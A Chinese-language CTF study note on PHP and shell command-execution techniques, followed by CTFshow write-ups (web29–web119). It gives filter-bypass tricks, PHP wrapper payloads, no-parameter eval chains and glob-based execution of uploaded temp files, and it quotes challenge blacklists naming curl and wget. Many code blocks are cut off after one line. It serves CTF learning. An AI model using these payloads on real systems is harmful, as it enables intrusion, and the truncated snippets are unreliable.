CTF_RCE
RCE
前言
学习过程中参照了很多大师傅的文章,把师傅的文章贴一下。推荐大家看一下
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5501
知识点
管道符
常见管道符
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
这里没试出来flag,用cmd试一下:
5、;(linux下有的,和&一样的作用)
执行函数
反引号执行系统命令
1 | ?c=echo `cat f*`; |
命令执行函数
system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。
1 | system() |
读取命令
1 | cat 由第一行开始显示内容,并将所有内容输出 |
空格过滤
空格可以用以下字符串代替:
1 | < 、<>、%20(spaceURL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS、%20等 |
命令分隔符
1 | linux: |
1 | windows: |
1、在 shell 中,担任”连续指令”功能的符号就是”;”
2、”&” 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。
3、管道符”|”左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
目录分隔符
/
如果过滤了目录分隔符可以直接用cd ;来查看比如:
1 | ;cd flag_is_here;cat flag_5898818519729.php|base64 |
过滤运算符
有些题目的正常的思路应该是base64输出出来
过滤了管道符$|$ 而file | base64也可以写成base64 file
1 | base64 flag_297281061019145.php |
黑名单绕过
1、拼接绕过
比如:
1 | a=l;b=s;$a$b |
利用偶读拼接方法绕过黑名单:
1 | a=fl;b=ag;cat $a$b |
2、编码绕过
1 | base64 |
1 | hex: |
1 | oct: |
3、单引号和双引号绕过
1 | ca''t flag = cat flag |
4、反斜杠绕过
1 | ca\t fl\ag = cat flag |
disable_functions绕过
读文件的函数:
1 | file_get_contents() |
show_source()
函数是highlight_file() 函数的别名
highlight_file()
函数对文件进行语法高亮显示。
file_get_contents()
函数把整个文件读入一个字符串中。和 file()
一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
fgets()
函数从打开的文件中返回一行。函数会在到达指定长度( length - 1 )、碰到换行符、读到文件末尾(EOF)时(以先到者为准),停止返回一个新行。如果失败该函数返回 FALSE。
readfile()
函数输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
注意fgets
函数的使用:
1 |
|
伪协议
php:// 协议
条件:
1 | allow_url_fopen:off/on |
作用:
1 | php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。 |
说明:
1 | PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, |
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB )存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
file://协议
条件:
1 | allow_url_fopen:off/on |
作用:
1 | 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include() |
说明:
1 | file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、\、\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()和file_get_contents(),include_path会可选地搜索,也作为相对的路径 |
用法:
1 | /path/to/file.ext |
示例:
file://[文件的绝对路径和文件名]
1 | http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt |
[文件的相对路径和文件名]
1 | http://127.0.0.1/include.php?file=./phpinfo.txt |
[http://网络路径和文件名]
1 | http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt |
php://filter参数详解
可用的过滤器列表(4类)
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
示例:
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
1 | http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php |
配合include
1 | ?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
php://input + [POST DATA]
执行php代码
1 | http://127.0.0.1/include.php?file=php://input |
若有写入权限,写入一句话木马
1 | http://127.0.0.1/include.php?file=php://input |
zip:// & bzip2:// & zlib:// 协议
条件:
1 | allow_url_fopen:off/on |
作用:
1 | zip:// & bzip2:// & zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。 |
示例:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
1 | http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt |
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
1 | http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 |
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
1 | http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz |
data://协议
条件:
1 | allow_url_fopen:on |
作用:
1 | 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 |
用法:
1 | data://text/plain, |
示例:
data://text/plain,
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
data://text/plain;base64,
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
http:// & https://协议
条件:
1 | allow_url_fopen:on |
作用:
1 | 常规 URL 形式,允许通过 `HTTP 1.0` 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。 |
用法:
1 | http://example.com |
示例:
1 | http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt |
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
1 | http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt |
关于目录遍历
可以利用
1 | var_dump(scandir(".")); |
当过滤了var_dump,print_r可以使用foreach进行一个遍历
1 | c= |
无参数读文件
只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。
代码解析
1 | preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) |
这里使用preg_replace
替换匹配到的字符为空,\w
匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
,然后(?R)?
这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
举个例子:
a(b(c()));
可以使用,但是a('b')
或者a('b','c')
这种含有参数的都不能使用
所以我们要使用无参数的函数进行文件读取或者命令执行
先简单了解几个函数:
localeconv()
:返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
(后续出现的.
都用双引号包裹,方便识别)
要怎么取到这个点呢,另一个函数:
current()
或pos()
返回数组中的单元,默认取第一个值:
如果都被过滤还可以使用reset()
,该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse()
:数组逆序
scandir()
:获取目录下的文件
next()
: 函数将内部指针指向数组中的下一个元素,并输出。
show_source()
函数是highlight_file() 函数的别名
highlight_file()
函数对文件进行语法高亮显示。
1 | //先来一道简单的例题练练手 |
思路如下:
首先通过 pos(localeconv())
得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))
就能得到flag.php了。
我们需要得到倒数第二个元素flag.php
,所以使用array_reverse
把数组逆向排序
我们的目的很明确,得到倒数第二个元素。直接将数组逆序在将指针调整到下一个就好了。
但是flag.php
不在指针的第一位所以使用next
来把指针指定到flag.php
随后使用highlight_file()
或show_source()
来代码高亮进行显示就得到flag了
1 | //例题 |
构造点
1.chr(46)
chr
函数从指定的 ASCII 值返回字符。
time()
:返回一个包含当前时间的 Unix 时间戳的整数。
localtime()
函数返回本地时间。
1 | chr(46)就是字符"." |
要构造46,有几个方法:
1 | chr(rand()) (不实际,看运气) |
chr(time())
:
1 | chr()`函数以256为一个周期,所以chr(46),chr(302),chr(558)`都等于"." |
chr(current(localtime(time())))
:
1 | 数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"." |
2.cypt
hebrevc(crypt(arg))
可以随机生成一个hash值,第一个字符随机是$
(大概率) 或者 "."
(小概率) 然后通过chr(ord())
只取第一个字符
ps:ord()
返回字符串中第一个字符的Ascii值
1 | print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次) |
同理:strrev(crypt(serialize(array())))
也可以得到"."
,只不过crypt(serialize(array()))
的点出现在最后一个字符,需要使用strrev()
逆序,然后使用chr(ord())
获取第一个字符
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
PHP的函数如此强大,获取"."
的方法肯定还有许多
正常的,我们还可以用print_r(scandir('绝对路径'));
来查看当前目录文件名
获取绝对路径可用的有getcwd()
和realpath('.')
所以我们还可以用print_r(scandir(getcwd()));
输出当前文件夹所有文件名
构造数字
phpversion()
返回PHP版本,如5.5.9
1 | floor(phpversion())返回 5 |
读取当前目录文件
通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:
前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:
查询PHP手册发现:
手册里有这些方法,如果要获取的数组是最后一个我们可以用:
1 | show_source(end(scandir(getcwd()))); |
前面我们说过数组文件在倒数第一和第二的时候如何获取,那如果不是文件数组的最后一个或者倒数第二个呢?
array_flip()
:交换数组的键和值
array_rand()
:随机返回一个数组
所以我们可以用:
1 | show_source(array_rand(array_flip(scandir(getcwd())))); |
(可以自己结合前面总结的构造"."
的方法切合实际过滤情况读取,后文就只列举简单的语句)
多刷新几次,就读到了正着数或者倒着数都是第三位的flag1.php
:
如果目标文件不在当前目录呢?
查看上一级目录文件名
chdir()
:改变当前工作目录
dirname()
:返回路径中的目录部分,比如:
从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
通过dirname方法
1 | print_r(scandir(dirname(getcwd()))); |
通过构造点方法:
print_r(next(scandir(getcwd())));
:我们scandir(getcwd())
出现的数组第二个就是".."
,所以可以用next()
获取
1 | print_r(scandir(next(scandir(getcwd())))); |
结合上文的一些构造都是可以获得".."
的 :
1 | next(scandir(chr(ord(hebrevc(crypt(time())))))) |
读取上级目录文件
直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));
是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录。
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
即可改变当前目录为上一层目录并读取文件:
如果不能使用dirname()
,可以使用构造".."
的方式切换路径并读取:
但是这里切换路径后getcwd()
和localeconv()
不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))
这里crypt()
和time()
可以接收参数,于是构造:
1 | show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); |
多刷新几次:
还有一种构造方法if()
:(这种更直观些,并且不需要找可接收参数的函数)
1 | if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd())))); |
查看和读取多层上级路径的就不写了,一样的方式套娃就行
查看和读取根目录文件
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
strrev(crypt(serialize(array())))
所获得的字符串第一位有几率是/
,所以使用以上payload可以查看根目录文件
但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功
同样的:
1 | if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); |
也可以查看根目录文件,但是也会受到权限限制,不一定成功
读根目录文件:(也是需要权限)
1 | if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); |
读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧
无参数命令执行(RCE)
我们可以使用无参数函数任意读文件,也可以执行命令:
既然传入的code
值不能含有参数,那我们可不可以把参数放在别的地方,code
用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:
首先想到headers
,因为headers
我们用户可控,于是在PHP手册中搜索:headers
经过查找,发现getallheaders()
和apache_request_headers()
getallheaders()&apache_request_headers()
getallheaders()
是apache_request_headers()
的别名函数,但是该函数只能在Apache
环境下使用
接下来利用方式就多了,任何header
头部都可利用:
我们可以使用:
1 | ?code=eval(pos(getallheaders())); |
因为我这里Leon: phpinfo();
排在第一位,所以直接用pos(current的别名)
取第一个数组的值
当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数:
根据位置的不同,可以结合前文,构造获取不同位置的数组
除了可以获得headers
,PHP有个函数可以获得所有PHP变量
get_defined_vars()
该函数会返回全局变量的值,如get、post、cookie、file数据
这里要注意,leon=>phpinfo();
在$_GET
数组中,所以需要使用两次取数组值:
第一次:
所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了
1 | ?leon=phpinfo();&code=eval(pos(pos(get_defined_vars()))); |
如何利用file变量进行rce呢?
1 | import requests |
这里要注意的是,file数组在最后一个,需要end定位,因为payload直接放在文件的名称上,再pos两次定位获得文件名
session_id()
session_id()
: 可以用来获取/设置 当前会话 ID。
session需要使用session_start()
开启,然后返回参数给session_id()
但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但是hex2bin()
函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()
即可
getenv()
getenv()
:获取环境变量的值(在PHP7.1之后可以不给予参数)
所以该函数只适用于PHP7.1之后版本,否则会出现:Warning: getenv() expects exactly 1 parameter, 0 given in ...
报错
1 | getenv() 可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的php.ini中,variables_order值为:GPCS |
也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER
,没有定义Environment(E)
,你可以修改php.ini
文件的 variables_order
值为你想要的顺序,如:"EGPCS"
。这时,$_ENV
的值就可以取得了
我们来看修改后的值:(环境不同,环境变量显示也不同)
对此我们可以加以利用,方法同上文:
重定向绑定
推荐看这篇博客,顶!
https://www.cnblogs.com/520playboy/p/6275022.html
>/dev/null 2>&1
这条命令其实分为两命令,一个是>/dev/null
,另一个是2>&1
>/dev/null
这条命令的作用是将标准输出1重定向到/dev/null中。/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null
之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
2>&1
这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。
linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1
的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
>/dev/null 2>&1 VS 2>&1 >/dev/null
乍眼看这两条命令貌似是等同的,但其实大为不同。刚才提到了,linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令。那么我们同样从左到右地来分析2>&1 >/dev/null
:
2>&1
,将错误输出绑定到标准输出上。由于此时的标准输出是默认值,也就是输出到屏幕,所以错误输出会输出到屏幕。>/dev/null
,将标准输出1重定向到/dev/null中。
我们用一个表格来更好地说明这两条命令的区别:
命令 | 标准输出 | 错误输出 |
---|---|---|
>/dev/null 2>&1 | 丢弃 | 丢弃 |
2>&1 >/dev/null | 丢弃 | 屏幕 |
>/dev/null 2>&1 VS >/dev/null 2>/dev/null
为什么要用重定向绑定,而不是像>/dev/null 2>/dev/null
这样子重复一遍呢。
为了回答这个问题,我们回到刚才介绍输出重定向的场景。我们尝试将标准输出和错误输出都定向到out文件中:
1 | ls a.txt b.txt >out 2>out |
---|---|
2 | cat out |
3 | a.txt |
4 | �法访问b.txt: 没有那个文件或目录 |
竟然出现了乱码,这是为啥呢?这是因为采用这种写法,标准输出和错误输出会抢占往out文件的管道,所以可能会导致输出内容的时候出现缺失、覆盖等情况。现在是出现了乱码,有时候也有可能出现只有error信息或者只有正常信息的情况。不管怎么说,采用这种写法,最后的情况是无法预估的。
而且,由于out文件被打开了两次,两个文件描述符会抢占性的往文件中输出内容,所以整体IO效率不如>/dev/null 2>&1
来得高。
关于$(())与整数运算
首先要知道双小括号的用处:
1 | 双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 |
1 | ${_} ="" //返回上一次命令 |
取反~
:
还要知道$(())
的值是0。此外,关于取反,根据我学习下来得到的经验就是如果b=~a,那么a+b=-1。因此:
如何获得-2,1,2
1 | $(( $((~$(()))) $((~$(()))) )) //-2 |
也就是说,默认是相加,这样也行:
1 | $(( $((~$(()))) + $((~$(()))) )) |
无字母数字RCE
source命令:
source命令也称为“点命令”,也就是一个点符号(.)。
source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。
用法:
1 | source filename # filename必须是可执行的脚本文件 |
我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但我们尝试执行. /???/?????????
,却得到如下错误:
这是因为,能够匹配上/???/?????????
这个通配符的文件有很多,我们可以列出来:
可见,我们要执行的/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
通配符不只有*
和?
。实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:
排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:
那么,我们可以利用[@-[]
来表示大写字母:
显然这一招是管用的。
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为?><?=
. /???/????????[@-[];?>
。
关于eval()加?>
说明一下为什么在使用eval()函数有时候需要添加?>
1 | 原因是eval()函数相当于执行php的代码,而 就相当于 echo |
liunx下的目录
在linux下我们经常用到的四个应用程序的目录是/bin、/sbin、/usr/bin、/usr/sbin 。而四者存放的文件一般如下:
/bin
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、base64、mkdir、more、mount、rm、su、tar等。
有很多种玩法
1 | /bin/?at${IFS}f??????? |
1 | /???/????64%20???????? |
/usr/bin
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、bzip2、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
可以这样玩:
1 | /???/???/????2%20???????? |
/sbin
主要放置一些系统管理的必备程序例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。
/usr/sbin
放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等
综述
如果这是用户和管理员必备的二进制文件,就会放在/bin
。如果这是系统管理员必备,但是一般用户根本不会用到的二进制文件,就会放在/sbin
。
相对而言。如果不是用户必备的二进制文件,多半会放在/usr/bin
;如果不是系统管理员必备的工具,多半会放在usr/sbin
。
一些命令的骚操作
mv命令
使用mv命令来创建一个txt文本之后访问即可
copy命令和rename命令
通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
用法:
1 | copy("flag.php","flag.txt"); |
Exit()、die()命令
有些时候要提前结束命名
1 | error_reporting(0); |
所以要使用exit()函数提前结束程序
1 | c=include("/flag.txt");exit; |
ob_get_contents()
函数返回输出缓冲区的内容,但不清除它
CTFshow题目write up
web29
1 | if(!preg_match("/flag/i", $c)){ |
web30
1 | if(!preg_match("/flag|system|php/i", $c)){ |
web31
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ |
web32
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
web33
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ |
web34
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ |
web35
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ |
web36
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |
web37
1 | //flag in flag.php |
web38
1 | //flag in flag.php |
web39
1 | //flag in flag.php |
web40
1 | if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
web41
1 |
web42
1 | if(isset($_GET['c'])){ |
web43
1 | if(isset($_GET['c'])){ |
web44
1 | if(isset($_GET['c'])){ |
web45
1 | if(!preg_match("/\;|cat|flag| /i", $c)){ |
web46
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ |
web47
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ |
web48
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ |
web49
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ |
web50
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
web51
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
web52
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
web53
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
web54
1 | if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ |
web55
1 | if(isset($_GET['c'])){ |
web56
1 | if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ |
在这个之前我们需要构造一个post上传文件的数据包。
1 |
|
然后抓包如图
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
然后在上传文件内容添加sh命令
1 |
web57
1 | //flag in 36.php |
web58
1 | if(isset($_POST['c'])){ |
web59
1 | if(isset($_POST['c'])){ |
web60
1 | if(isset($_POST['c'])){ |
web61-web66就不贴了都是和web60一样
web67
1 | if(isset($_POST['c'])){ |
啊这?不在flag.php里用var_dump(include("/"));
遍历一下目录看看
原来在flag.txt里啊
1 | c=var_dump(sandir("/")); |
web68
1 | #Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 |
web69
1 | #Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 |
web70
1 | 同上 |
web71
1 | error_reporting(0); |
web72
1 | c=$a="glob:///*.txt"; |
1 |
|
1 | c=function ctfshow($cmd) { |
web73
没有open_basedir,直接scandir都行,是/flagc.txt,然后include也没过滤,直接include就行了。
web74
同上
web75
1 | c= |
web76和75一样
web77
明示是php7.4,很容易想到利用FFI来绕过disable_functions。需要注意的是命令执行没有回显,只能写文件里。因为之前都没有写的权限,我第一反应是没法写,然后echo也没法回显,就以为是姿势不对。其实这题/var/www/html有写的权限,1.txt也是直接就可以访问。
1 | c= |
web118
过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。
正常可以利用切片来获得所需要的字母
但是这题过滤了数字,因此要用到另一个知识点:取反号~
linux可以利用~获得变量的最后几位:
但是不是过滤了数字了吗?可以利用字母,在这里用字母就等同于数字0:
所以可以利用各个环境变量的最后一位来构造命令。
根据羽师傅的提示:
${PWD}
在这题肯定是/var/www/html,而${PATH}
通常是bin,结尾,因此就可以构造命令nl:
1 | <html lang="zh-cn"> |
web119
在上一题的基础上过滤了PATH还有BASH,所以就不像上一题那样可以这么轻松的构造出来了,需要把能利用的变量通通试一遍。
数字方面可以构造出什么呢?首先大写字母等同于0,所以0是有的。还要知道linux的这个知识:
